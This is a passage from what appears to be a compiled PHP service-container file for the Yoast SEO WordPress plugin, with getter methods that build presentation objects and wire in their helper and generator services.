$this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});
        $instance->set_archive_adjacent_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Post_Type_Archive_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Archive_Presentation
     */
    protected function getIndexablePostTypeArchivePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Archive_Presentation();

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});
        $instance->set_archive_adjacent_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Post_Type_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Presentation
     */
    protected function getIndexablePostTypePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Post_Type_Presentation(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'});

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Presentation
     */
    protected function getIndexablePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Presentation();

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Search_Result_Page_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Search_Result_Page_Presentation
     */
    protected function getIndexableSearchResultPagePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Search_Result_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Search_Result_Page_Presentation();

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Static_Home_Page_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Static_Home_Page_Presentation
     */
    protected function getIndexableStaticHomePagePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Home_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Static_Home_Page_Presentation(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'});

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Static_Posts_Page_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Static_Posts_Page_Presentation
     */
    protected function getIndexableStaticPostsPagePresentationService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'};

        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Posts_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Static_Posts_Page_Presentation(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())) && false ?: '_'}, $a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'});

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});
        $instance->set_archive_adjacent_helpers($a);

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Term_Archive_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Term_Archive_Presentation
     */
    protected function getIndexableTermArchivePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Term_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Term_Archive_Presentation(${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'});

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
